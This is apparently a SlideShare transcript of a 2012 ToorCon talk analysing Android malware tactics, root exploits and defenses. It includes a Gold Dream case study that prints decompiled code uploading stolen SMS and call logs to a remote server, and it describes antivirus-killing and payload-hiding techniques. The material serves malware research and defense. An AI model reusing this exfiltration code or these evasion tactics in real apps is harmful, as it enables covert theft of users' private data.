SlideShare a Scribd company logo

ToorCon 14 : Malandroid : The Crux of Android Infections

Aditya K Sood, profile picture
Aditya K Sood

The presentation at Toorcon 14 provides an in-depth analysis of Android malware, detailing its history, current tactics, and the inherent vulnerabilities of the Android platform. It examines various methods used by malware to exploit user permissions and system processes, especially in the context of alternative app markets. The talk emphasizes the necessity for user awareness and stronger defenses against the evolving threats posed by Android malware.

Technology
Related topics:
Mobile App Insights
1 of 53
Downloaded 48 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
ToorCon 14 Security Conference, San Diego, 17 – 21 October 2012 Aditya K Sood (Senior Security Practitioner) IOActive| Department of Computer Science and Engineering Michigan State University {Malandroid} – The Crux of Android Infections
2 Whoami !  Aditya K Sood ● Senior Security Practitioner – IOActive ● PhD Candidate at Michigan State University – Worked for Armorize, COSEINC, KPMG and others. – Active Speaker at Security conferences » DEFCON, RSA, SANS, HackInTheBox, OWASP AppSec, BruCon and others – LinkedIn - http ://www.linkedin.com/in/adityaks – Website: http://www.ioactive.com – Twitter: @AdityaKSood
3 Agenda  Android Security Overview  Insidious Infection Tactics – Design Strategies  Reversing Android Malware – A Case Study  Chinese Alternate Markets - Connecting Dots  Existing Android Defenses  Big Problems in Android  Conclusion
4 In This Talk ! We Study the Interesting Tactics in the Android Malware from 2011 – until now !
5 Android Existing Market  The Reality ● Refer: – http://developer.android.com/about/dashboards/index.html – https://blog.duosecurity.com/2012/09/early-results-from-x-ray-over-50-of-android- devices-are-vulnerable/
6 Android - Vulnerabilities and Exploits Vulnerabilities Explanations Zimperlich [2.2.0, 2.2.1 , 2.2.2] RageAgainstTheCage - Android’s Zygote process failed to check the return value of setuid (2) ZergRush [2.2,2.3] Android’s libsysutils allows the code execution to with command arguments to bypass system controls. [CVE-2011-3874] Wunderbar Privilege escalation in mmap_min_addr (null pointer dereference ) Mempodroid [4.0 (0-3)] Arbitrary memory writing in setuid’s address space by exploiting vulnerability in /proc/pid/mem [CVE-2012-0056]. Adb access required for exploitation. Levitator Power VR Kernel module used for 3D graphic allows access to kernel memory KillingInTheNameOf [<= 2.2.2] Ashmem - Custom shared memory allocator bug helps in rooting of devices. [CVE-2011-1149] Exploid [ <= 2.1] Init daemon (udev functionality) failed to check the origin of netlink messages coming from kernel [CVE-2009-1185]. Hotplug (/proc/sys/kernel/hotplug) path overwrite Gingerbreak [2.2.3, 2.3.[0–3], 3.0 Vold daemon failed to check the origin of netlink messages coming from kernel [CVE-2011-1823] WebKit [ < 2.2] Code execution - NaN handling in lack of validation in floating point number [CVE-2010-1807]
7 Android – Security Pillars
8 Android Platform Realities  Android Platform Realities ─ Huge improvement in security model but ……………… ● Android provenance system – Application masquerading (repackaging) is easy ● Permissions are user centric – Explicitly relies on user’s knowledge to make smart decisions about security – Its hard to imagine that every user is security driven or knowledgeable ● Encryption is offered in platforms beginning with version 3 – All the android versions < 3 do not have proper encryption model » Once exploited, all data is completely open. No security for data at rest. ● No built-in mechanism to prevent social engineering and web trickeries ● Existence of alternative android application markets – Highly risk driven from security point of view – Increases the attack surface with mobility and flexibility
9 Android Malware – What Matters?  Android Malware ─ Malware Hosting ● Legitimate android markets ● Alternate android markets ─ Delivery Model ● Websites, Drive-by Downloads, Malicious Attachments ─ The State of Devices ● Rooted android phones ● Unrooted android phones ─ Exploitation ● Root exploits from remote servers – Dynamic loading capability of Dalvik Virtual Machine ● Root privileges
10 Android Malware – Threats  Privacy Issues  Information Leakage ─ SMS/ Contacts/ Phone Identity Information (IMEI/IMSI) and others  Online Banking Frauds and Thefts  Targeted Attacks Against Corporate Networks  Android Botnets  Pivot Attacks Against GSM Networks  And Others ……..
11 Insidious Infections and Design Strategies
12 Android Malware – The Classics Droid Kung Fu Plankton Root Smart Gold Dream Hippo SMS Nicki Bot Anserver Bot Bean Bot Gold Dream Gambler SMS Rogue SP Push Push Bot DFK Boot Kit FJCon TG Loader Many More …
13 Android Malware – Latest in Last Few Months FakeLookout.A Plankton Variants FinFisher Fin Spy SMS Zombie Android_Fakeinst.A Fake Lash Loozfon LuckyCat.A Android VdLoader Drop Dialer MMMarket Pay FindAndCall Android KunFu Variants Android C14 SMS bot Many More …
14 Application Masquerading  Application Masquerading ─ Technique of hiding malicious application inside legitimate application ● Malicious payloads are compressed and embedded in other file formats – Also termed as Repackaging ● Runtime unwrapping of malicious code ● Effective in hiding the real nature of application ● Invasive approach to bypass the security mechanisms Legitimate Application Masqueraded Application
15 Stealthy Assets  Designing Stealthy Assets ─ Assets ● These are the extra set of resources that are packaged inside android applications – Package path - <application bundle name>.apk/assets/ ● Files stored in assets can be discovered dynamically using AssetManager.list() ● /assets should not be confused with custom /res/raw [ both are different] – /assets support tree hierarchy where as /res/raw does not – /assets do not require identifier for reference where as /res/raw does. ─ Characteristics ● Used heavily for hiding payloads and malicious code ● Example:- Designing malicious PNG files – PNG files are used to hide payloads and used for compression – Deployed by very first: Foncy/Madden FL Android Malware ● Malicious code is also embedded with a routine for extracting code in assets during runtime – Routine - Java byte code that interacts with asset manager
16 Bootstrapping Payloads and Services  Bootstrapping ─ Detecting the completion of Android boot process ● Registering a system wide event – android.intent.action.BOOT_COMPLETED ─ Starting hidden service ● Registering a malicious service in the backend ● Service monitors the state of Android phone ● Downloads other malicious packages when the phone is not active – When user is not interacting with the phone ─ Service capabilities ● Monitors the state of various antivirus processes an kills them accordingly ● And many more …………. ─ Related Android Malware Examples – Gap II and Update Killer
17 Android Bootkits – An Overview  Bootkits ─ Getting root privileges ● Hiding in legitimate applications that require root privileges – Application masquerading / Piggy backing ─ Registering agent controller service ● Activates Boot Sequence Manipulation (BSM) agent ● BSM agent validates whether it has root privileges ● If yes, mounts the system partition (w+). If not, deletes itself ● BSM agent copies itself to /system/lib and alters several system programs , booting scripts and daemons. ─ Hijacking android framework initialization capabilities ● To execute custom packages before legitimate ones ● Example: Chinese Malware (DKF Bootkit)
18 Custom Firmware Images  Android Custom Firmware Images ─ Enhanced stock ROMs (legitimate for more functionality) ─ Distributed in the underground or third-party forums ─ Modification allows: ● To gain certain privileges that are available to system only ● Altering the state of adb by modifying the ram disk – Configuring build.prop to tweak ro.secure parameter – Also possible through setting setprop shell command ● Manipulate the custom recovery options as per the requirement – Custom recovery modes are driven with null security ─ Compiling custom Android using Android Open Source Project (AOSP) ● Generate a key at AOSP to sign custom images ● Makes custom images look more authentic
19 Defending The Code  Android Custom Firmware Images ─ Obfuscation/Encryption ● Code – Encrypting all the method names in the classes. – Makes the invocation process more stealthier ● Network – Encrypting the communication using aymmetric encryption – Public keys are fetched dynamically ─ Anti Repackaging Check ● Verify the signature of the remote payload (application) before execution – To scrutinize the payload has not been tampered ─ Antivirus Detection ● Attempts to bypass and shutdown the configured security applications ─ Example ● Most of the advanced Android bots use one of these capabilities.
20 Time-based Code Execution  Delayed Execution ─ Inherent feature to make the malicious activity dormant for a certain period of time ─ Upon installation, malicious application remains silent. ─ Malicious behavior is designed using : ● Time scheduler ● System uptime ● System time settings and time zones ● Connecting back to C&C server at a specific point of time ─ A good step in bypassing behavioral based detection
21 Exploiting Administration API’s  Administration API’s ─ Device Administration API – supported since android 2.2 version ● Good : attractive feature to enabled developers to build enterprise applications that require features at system level. ● Bad : Completely relies on user permission. If granted, policies are enforced ● Worst: Malicious applications are presented as Device Administration applications. If allowed , works with similar set of permissions as system. – Allows attackers to specify policies as hard coded or remotely. ─ Risks ● Malicious application leverages the benefit of system privileges. ● Malicious application can – Wipe all the data from phone and restore the state to factory defaults – Force users to follow the rogue policies – Disabling certain features on the device.
22 Mobile Malvertising  Mobile Malvertising ─ Started with the concept of mobile advertising ● Initial samples of android malware used this trick for advertising various custom games and other business operations ─ Transforming mobile advertising into mobile malvertising ● Using advertising to download malicious payloads onto user mobiles ● Design/ development of malvertised applications – Creating a SWF file using Flash or Flex. » Create an image that is a part of resource file – Create an XML file containing a description of the malvertised application. – Run the packager. For android, install SDK and sign the malvertised application – Host it on the third party android market and start distributing it. – Once the phone installs it infection begins shortly.
23 Hacktivism – Political Legacy  Hacktivism ─ Android malware has shown some facets of Hacktivism ● Sending messages containing political point or appeal ● Raising awareness about political mayhem in the respective country – Well!, the user is going to pay for the messages ! » Malware does not contain any complex code ─ Spreading Hacktivism ● Sending messages about leaders, political chaos and support to other users listed in contacts ● Morphing or replacing pictures present on user’s device ● Examples: (The very first Android samples) – Android Arspam Alsalah  promoting leader of Tunisian revolution – Android Moghwa  promoting leader of Iranian revolution 1979
24 Mobile Droppers / Bots in Action  Mobile Droppers ─ Masqueraded applications that look legitimate and uses market brands such as games etc to hide their potential functionality ─ Droppers download or extracts other malicious applications in the user mobile in a stealthy manner
25 Mobile Droppers / Bots in Action  Mobile Droppers ─ Peripheral Look ● Extracting strings Mounting devices Clearing logs (logcat –c) IRC communication capability Rooted device notification Bot driven APK file embedded in PNG file
26 Mobile Droppers / Bots in Action  Mobile Droppers (Techniques) ─ Disassembly ARM instructions ● Malicious PNG file dissection IRC Login call in action. STMFD (Full Descending) call keep on updating the stack pointer as it grows IRC Connect call in action. ARM/ Thumb code in PNG files
27 Mobile Droppers / Bots in Action  Mobile Dropper + Bot (Badging) Dropper – Badging Information Permissions Layout Extracted Bot – Badging Information
28 Reversing Android Malware [Classics] Android Gold Dream
29 Android Gold Dream
30 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ● Upload files in a stealthy manner ● Files extracted ● Device information ● Calling capability
31 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ URL fracturing  Interesting code » ((UploadFiles )localObject).uploadFile("http://" + getKeyNode("dom", "dom_v") + "/zj/upload/UploadFiles.aspx?askId=1&uid=" + getKeyNode("uid", "uid_v"), "/data/data/com.gamelio.DrawSlasher/files/zjsms.txt"); » ((UploadFiles) localObject).uploadFile("http://" + getKeyNode("dom", "dom_v") + "/zj/upload/UploadFiles.aspx?askId=2&uid=" + getKeyNode("uid", "uid_v"), "/data/data/com.gamelio.DrawSlasher/files/zjphonecall.txt"); ─ So what are these dom, dom_v , uid, uid_v ● Target  To get the full URL to find where the data is being uploaded
32 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ The variables used in URL through getKeyNode are defined as local objects ● Local objects , why not to go for shared objects or shared preferences ● Data is pulled from /data/data/com.gamelio/DrawSlasher/sharedprefs ● All the local objects are stored as respective xml files
33 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ The extracted URL’s are – hxxp://lebar.gicp.net/zj/upload/UpdateParam.aspx?uid=0&taskTypeId=1&type=0 – hxxp://lebar.gicp.net/zj/upload/UploadFiles.aspx?askId=1&uid= – hxxp://lebar.gicp.net ─ Domain information
34  Android Gold Dream (com.gamelio.DrawSlasher) ─ *.gicp.net somewhat belongs to Android Gold Dream
35 Connecting Dots Android Malware Case Studies The World of Chinese Malware - Facts
36 Android Base Bridge Android Base Bridge served heavily on different markets in China
37 Android Lotoor / RageAgainstTheCage Alternate markets in China
38 BrandJacking/{Typo | Cyber}squatting  Chinese android market is exploiting the integrity and brand values of primary business domains.  Example: Android Doctor Domain ● hxxp://www.androiddoctor.com – IP Address - 184.73.194.128 (USA) ● hxxp://www.androidoctor.com – IP Address - 96.44.158.2 (China)
39 BrandJacking/{Typo | Cyber}squatting Both domains were take off recently. Now http://www.android-doctor.com works
40 Anserver Bot  Anserver Bot ● The detailed analysis has already presented here: – Refer  http://www.csc.ncsu.edu/faculty/jiang/pubs/AnserverBot_Analysis.pdf  How we want to take a look at it? ● The domain hxxp://sina.com.cn – We are trying to connect the dots to map interesting set of information
41 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.sina.com.cn is high traffic oriented website in china – Highly ranked | Lots of traffic from China (202.108.33.60) – hxxp://blog.sina.com.cn | blogx.sina.com.cn is subdomain or blog hosted at it. » Used for malicious activities (218.30.115.254)
42 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.sina.com (Network) – Website : hxxp://www.sina.com.cn
43 Connecting Dots ……….  Mapping Domains and History ● In 2009, there were some incidents of malware happened as described – A registrant has an identification of sina.com.cn to register fuckunion.com – Culprit domain : *.fuckunion.com » FUCKUNION.COM  critical and interesting Sub domains still serve malware
44 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.fuckunion.com The website is off recently.
45 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.net.cn
46 Defending Against Android Malware What We have Right Now ?
47 Android Malware – Defense  Malicious Apps Detection Tools by Different AntiVirus Vendors ● Privacy Leak Detection Frameworks – TaintDroid and PioS ● Over Privilege and Permission Checker – Stowaway ● Fine Grained Control Of System Resources – Extensions – MockDroid, TISSA, Apex and AppFence ● Secure Policy Enforcement to Remove Exposed Interfaces – Saint ● Static Analysis Tools – Comdroid and Woodpecker ● Android Vulnerability Checker – X Rays ● Android Google Play – Application Checker – Bouncer ● SEAndroid is in building stage
48 And … There Are Much More to the Android Malware…
49 So Some Of The Big Problems Are …  No Code Signing ● Self signatures can be circumvented to repackage the applications  Native Code Execution ● No restriction on the privileges for setting execution bit (Root/Apps)  Permission Sandbox (All or None Policy) – Actions without Permissions » RECEIVE_BOOT_COMPLETED | START_ON_INSTALL  Existence of Alternate Market Places  Google Play (Android Market) Communication Channel Issues  No Robust Android Malware Detection at Network Level  Delayed Patch Process (Developers and Vendors)  Do Kill Switch (REMOVE_ASSET) or Bouncer Works Against Modern Malware?
50 And the Real World Question Is … Do Users Really Care About Android Malware?
51 Conclusion  Users awareness is required !  More strong defenses are the need of the Time !  Malware flavors are going to change in the Android world !  Malware will increase !
52 Further Reading – Interesting Work  Android ─ Net Q Blog  http://research.netqin.com/ ─ Don’t Root Robots  http://safecomputing.umich.edu/events/sumit11/docs/dontrootrobots.pdf ─ http://jon.oberheide.org/files/shmoo11-teamjoch.pdf ─ Android Bouncer http://jon.oberheide.org/files/summercon12-bouncer.pdf ─ This is not the droid you are looking for, https://www.defcon.org/images/defcon-18/dc-18-presentations/Trustwave- Spiderlabs/DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf ─ Android Security Overview -http://source.android.com/tech/security/index.html ─ Dissecting Android Malware - http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf ─ Android Malware Data Set - http://www.malgenomeproject.org/ ─ Droid Moss - http://www.csc.ncsu.edu/faculty/jiang/pubs/CODASPY12.pdf
53 Questions ? Thanks ToorCon Team Contact: aditya.sood [at] ioactive.com

More Related Content

PDF
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
Aditya K Sood
 
PDF
CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...
Aditya K Sood
 
PDF
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
Aditya K Sood
 
PDF
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
Aditya K Sood
 
PDF
Abusing Glype Proxies - Attacks, Exploits and Defences
Aditya K Sood
 
PDF
Android Security Overview and Safe Practices for Web-Based Android Applications
h4oxer
 
PDF
Cyber Attacks on Financial _ Vikjava
Security Bootcamp
 
PDF
Secure coding presentation Oct 3 2020
Moataz Kamel
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
Aditya K Sood
 
CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...
Aditya K Sood
 
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
Aditya K Sood
 
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
Aditya K Sood
 
Abusing Glype Proxies - Attacks, Exploits and Defences
Aditya K Sood
 
Android Security Overview and Safe Practices for Web-Based Android Applications
h4oxer
 
Cyber Attacks on Financial _ Vikjava
Security Bootcamp
 
Secure coding presentation Oct 3 2020
Moataz Kamel
 

What's hot (20)

PPT
Bypassing the Android Permission Model
Georgia Weidman
 
PDF
Building Custom Android Malware BruCON 2013
Stephan Chenette
 
PDF
Mobile Malware
Martin Holovský
 
PDF
Mobile Threats and Trends Changing Mobile App Security
DevOps.com
 
PPT
Web Based Security
John Wiley
 
PDF
Stealing sensitive data from android phones the hacker way
n|u - The Open Security Community
 
ODP
Android security in depth
Sander Alberink
 
PDF
Смирнов Александр, Security in Android Application
SECON
 
PPTX
Windows Phone Application Penetration Testing
Jewel Joy
 
PPT
Penetration Testing Basics
Rick Wanner
 
PPTX
Network penetration testing
Imaginea
 
PDF
How to Stop Man in the Browser Attacks
Imperva
 
PDF
IRJET- A Survey on Android Ransomware and its Detection Methods
IRJET Journal
 
PPTX
Android sandbox
Anusha Chavan
 
PPTX
Drozer - An Android Application Security Tool
nullowaspmumbai
 
PDF
Penetration and hacking training brief
Bill Nelson
 
PPT
Permission enforcement s in android new (1)
Siddhartha Kakarla
 
PDF
Man In The Browser
Save Manos
 
PDF
CNIT 128 6. Analyzing Android Applications (Part 2 of 3)
Sam Bowne
 
PPTX
Permission in Android Security: Threats and solution
Tandhy Simanjuntak
 
Bypassing the Android Permission Model
Georgia Weidman
 
Building Custom Android Malware BruCON 2013
Stephan Chenette
 
Mobile Malware
Martin Holovský
 
Mobile Threats and Trends Changing Mobile App Security
DevOps.com
 
Web Based Security
John Wiley
 
Stealing sensitive data from android phones the hacker way
n|u - The Open Security Community
 
Android security in depth
Sander Alberink
 
Смирнов Александр, Security in Android Application
SECON
 
Windows Phone Application Penetration Testing
Jewel Joy
 
Penetration Testing Basics
Rick Wanner
 
Network penetration testing
Imaginea
 
How to Stop Man in the Browser Attacks
Imperva
 
IRJET- A Survey on Android Ransomware and its Detection Methods
IRJET Journal
 
Android sandbox
Anusha Chavan
 
Drozer - An Android Application Security Tool
nullowaspmumbai
 
Penetration and hacking training brief
Bill Nelson
 
Permission enforcement s in android new (1)
Siddhartha Kakarla
 
Man In The Browser
Save Manos
 
CNIT 128 6. Analyzing Android Applications (Part 2 of 3)
Sam Bowne
 
Permission in Android Security: Threats and solution
Tandhy Simanjuntak
 
Ad

Viewers also liked (17)

PDF
Hide Android applications in images
Ange Albertini
 
PDF
Cyber as WMD- April 2015- GFSU
Mohit Rampal
 
PDF
sebis research profile
sebistum
 
PDF
Beginners guide-to-reverse-engineering-android-apps-pau-oliva-fora-viaforensi...
viaForensics
 
PDF
BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...
Aditya K Sood
 
PDF
Mobile analysis-kung-fu-santoku-style-viaforensics-rsa-conference-2014
viaForensics
 
PDF
Via forensics thotcon-2013-mobile-security-with-santoku-linux
viaForensics
 
PDF
One Phish, Two Phish, Red Phish, Your Account Details Just Got Stolen
OpenDNS
 
PDF
Cyber Security for Critical Infrastrucutre-ppt
Mohit Rampal
 
PDF
Blackhat USA 2015: BGP Stream Presentation
OpenDNS
 
PPTX
M.Tech. Cyber Security & Incident Response
Nilay Mistry ACE, ISMS LA, OSFCE
 
PPTX
Shodan- That Device Search Engine
InMobi Technology
 
PDF
BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...
Aditya K Sood
 
PPTX
APT 28 :Cyber Espionage and the Russian Government?
anupriti
 
PDF
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
arnaudsoullie
 
PPTX
Android– forensics and security testing
Santhosh Kumar
 
PPTX
Social Media at NASA, 2012 Edition
NASA - National Aeronautics and Space Administration
 
Hide Android applications in images
Ange Albertini
 
Cyber as WMD- April 2015- GFSU
Mohit Rampal
 
sebis research profile
sebistum
 
Beginners guide-to-reverse-engineering-android-apps-pau-oliva-fora-viaforensi...
viaForensics
 
BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...
Aditya K Sood
 
Mobile analysis-kung-fu-santoku-style-viaforensics-rsa-conference-2014
viaForensics
 
Via forensics thotcon-2013-mobile-security-with-santoku-linux
viaForensics
 
One Phish, Two Phish, Red Phish, Your Account Details Just Got Stolen
OpenDNS
 
Cyber Security for Critical Infrastrucutre-ppt
Mohit Rampal
 
Blackhat USA 2015: BGP Stream Presentation
OpenDNS
 
M.Tech. Cyber Security & Incident Response
Nilay Mistry ACE, ISMS LA, OSFCE
 
Shodan- That Device Search Engine
InMobi Technology
 
BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...
Aditya K Sood
 
APT 28 :Cyber Espionage and the Russian Government?
anupriti
 
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
arnaudsoullie
 
Android– forensics and security testing
Santhosh Kumar
 
Social Media at NASA, 2012 Edition
NASA - National Aeronautics and Space Administration
 
Ad

Similar to ToorCon 14 : Malandroid : The Crux of Android Infections (20)

ODP
Android security in depth - extended
Sander Alberink
 
PDF
Hacking Android [MUC:SEC 20.05.2015]
Angelo Rüggeberg
 
PDF
Getting started with Android pentesting
Minali Arora
 
PDF
Securing Android
Marakana Inc.
 
PDF
Unit 1 Kali Nethunter Android: OS, Debub Bridge
ChatanBawankar
 
PDF
Unit Kali NetHunter is the official Kali Linux penetration testing platform f...
ChatanBawankar
 
PDF
Android_Malware_IOAsis_2014_Analysis.pdf
jjb117343
 
PDF
The Ultimate Android Security Checklist (Codemotion Tel-Aviv, 2014)
Ron Munitz
 
PPTX
Getting started with android
Vandana Verma
 
PDF
Ron Munitz - The Ultimate Android Security Checklist - Codemotion Rome 2015
Codemotion
 
PPTX
Security testing of mobile applications
GTestClub
 
PDF
The Ultimate Android Security Checklist (AnDevCon Boston 2014)
Ron Munitz
 
PPTX
Untitled 1
Sergey Kochergan
 
PDF
The Ultimate Android Security Checklist (Mdevcon 2014)
Ron Munitz
 
PPT
Securely Deploying Android Device - ISSA (Ireland)
Angelill0
 
PDF
Null Mumbai Meet_Android Reverse Engineering by Samrat Das
nullowaspmumbai
 
PPTX
Security on android
pk464312
 
PPTX
Mobile application security
Shubhneet Goel
 
PPTX
Mobile Application Security
Ishan Girdhar
 
PPTX
[Wroclaw #1] Android Security Workshop
OWASP
 
Android security in depth - extended
Sander Alberink
 
Hacking Android [MUC:SEC 20.05.2015]
Angelo Rüggeberg
 
Getting started with Android pentesting
Minali Arora
 
Securing Android
Marakana Inc.
 
Unit 1 Kali Nethunter Android: OS, Debub Bridge
ChatanBawankar
 
Unit Kali NetHunter is the official Kali Linux penetration testing platform f...
ChatanBawankar
 
Android_Malware_IOAsis_2014_Analysis.pdf
jjb117343
 
The Ultimate Android Security Checklist (Codemotion Tel-Aviv, 2014)
Ron Munitz
 
Getting started with android
Vandana Verma
 
Ron Munitz - The Ultimate Android Security Checklist - Codemotion Rome 2015
Codemotion
 
Security testing of mobile applications
GTestClub
 
The Ultimate Android Security Checklist (AnDevCon Boston 2014)
Ron Munitz
 
Untitled 1
Sergey Kochergan
 
The Ultimate Android Security Checklist (Mdevcon 2014)
Ron Munitz
 
Securely Deploying Android Device - ISSA (Ireland)
Angelill0
 
Null Mumbai Meet_Android Reverse Engineering by Samrat Das
nullowaspmumbai
 
Security on android
pk464312
 
Mobile application security
Shubhneet Goel
 
Mobile Application Security
Ishan Girdhar
 
[Wroclaw #1] Android Security Workshop
OWASP
 

More from Aditya K Sood (20)

PDF
Emerging Trends in Online Social Networks Malware
Aditya K Sood
 
PDF
Enfilade: Tool to Detect Infections in MongoDB Instances
Aditya K Sood
 
PDF
Detecting Ransomware/Bot Infections in Elasticsearch
Aditya K Sood
 
PDF
Network Security : Book Review : Targeted Cyber Attacks : Aditya K Sood
Aditya K Sood
 
PDF
DEF CON 20 - Botnets Die Hard - Owned and Operated
Aditya K Sood
 
PDF
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Aditya K Sood
 
PDF
NGR Bot Analysis Paper
Aditya K Sood
 
PDF
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Aditya K Sood
 
PDF
Commercial Cyber Crime - Social Networks Malware
Aditya K Sood
 
PDF
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Aditya K Sood
 
PDF
OWASP AppSec USA 2011 - Dismantling Web Malware
Aditya K Sood
 
PDF
Browser Malware Taxonomy
Aditya K Sood
 
PDF
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
Aditya K Sood
 
PDF
PenTest Magazine Teaser - Mobile Hacking
Aditya K Sood
 
PDF
Dissecting Java Server Faces for Penetration Testing
Aditya K Sood
 
PDF
VxWorks - Holistic Security (Art of Testing)
Aditya K Sood
 
PDF
Toorcon Seattle 2011 - Browser Exploit Packs
Aditya K Sood
 
PDF
Art of InfoJacking, Source Conference Seattle, 2011
Aditya K Sood
 
PDF
Elsevier NESE - Spying on the Browser
Aditya K Sood
 
PDF
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 
Emerging Trends in Online Social Networks Malware
Aditya K Sood
 
Enfilade: Tool to Detect Infections in MongoDB Instances
Aditya K Sood
 
Detecting Ransomware/Bot Infections in Elasticsearch
Aditya K Sood
 
Network Security : Book Review : Targeted Cyber Attacks : Aditya K Sood
Aditya K Sood
 
DEF CON 20 - Botnets Die Hard - Owned and Operated
Aditya K Sood
 
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Aditya K Sood
 
NGR Bot Analysis Paper
Aditya K Sood
 
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Aditya K Sood
 
Commercial Cyber Crime - Social Networks Malware
Aditya K Sood
 
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Aditya K Sood
 
OWASP AppSec USA 2011 - Dismantling Web Malware
Aditya K Sood
 
Browser Malware Taxonomy
Aditya K Sood
 
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
Aditya K Sood
 
PenTest Magazine Teaser - Mobile Hacking
Aditya K Sood
 
Dissecting Java Server Faces for Penetration Testing
Aditya K Sood
 
VxWorks - Holistic Security (Art of Testing)
Aditya K Sood
 
Toorcon Seattle 2011 - Browser Exploit Packs
Aditya K Sood
 
Art of InfoJacking, Source Conference Seattle, 2011
Aditya K Sood
 
Elsevier NESE - Spying on the Browser
Aditya K Sood
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 

Recently uploaded (20)

PPTX
Machine Learning_overview_presentation.pptx
kondavamsidharreddy2
 
PPTX
Programs and apps: productivity, graphics, security and other tools
4mqw9zch22
 
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
MatthewLewis227954
 
PPTX
Spectroscopy.pptx food analysis technology
nawahassan45
 
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Peter Tan
 
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
IAESIJAI
 
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Jian-Hong Pan
 
PDF
Encapsulation_ Review paper, used for researhc scholars
gurumoop
 
PDF
Mushroom cultivation and it's methods.pdf
mailmeonrishi
 
PDF
Getting Started with Data Integration: FME Form 101
Safe Software
 
PDF
Assigned Numbers - 2025 - Bluetooth® Document
Bloombase
 
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
IAESIJAI
 
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
IAESIJAI
 
PDF
MIND Revenue Release Quarter 2 2025 Press Release
MIND CTI
 
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Libreria ERP
 
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Chinchu40
 
PPTX
SOPHOS-XG Firewall Administrator PPT.pptx
AgnesMunisi
 
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
SandeepSingh286037
 
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
Mark Billinghurst
 
PDF
NewMind AI Weekly Chronicles - August'25-Week II
NewMind AI
 
Machine Learning_overview_presentation.pptx
kondavamsidharreddy2
 
Programs and apps: productivity, graphics, security and other tools
4mqw9zch22
 
Group 1 Presentation -Planning and Decision Making .pptx
MatthewLewis227954
 
Spectroscopy.pptx food analysis technology
nawahassan45
 
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Peter Tan
 
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
IAESIJAI
 
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Jian-Hong Pan
 
Encapsulation_ Review paper, used for researhc scholars
gurumoop
 
Mushroom cultivation and it's methods.pdf
mailmeonrishi
 
Getting Started with Data Integration: FME Form 101
Safe Software
 
Assigned Numbers - 2025 - Bluetooth® Document
Bloombase
 
Diabetes mellitus diagnosis method based random forest with bat algorithm
IAESIJAI
 
Per capita expenditure prediction using model stacking based on satellite ima...
IAESIJAI
 
MIND Revenue Release Quarter 2 2025 Press Release
MIND CTI
 
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Libreria ERP
 
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Chinchu40
 
SOPHOS-XG Firewall Administrator PPT.pptx
AgnesMunisi
 
Agricultural_Statistics_at_a_Glance_2022_0.pdf
SandeepSingh286037
 
Reach Out and Touch Someone: Haptics and Empathic Computing
Mark Billinghurst
 
NewMind AI Weekly Chronicles - August'25-Week II
NewMind AI
 

ToorCon 14 : Malandroid : The Crux of Android Infections

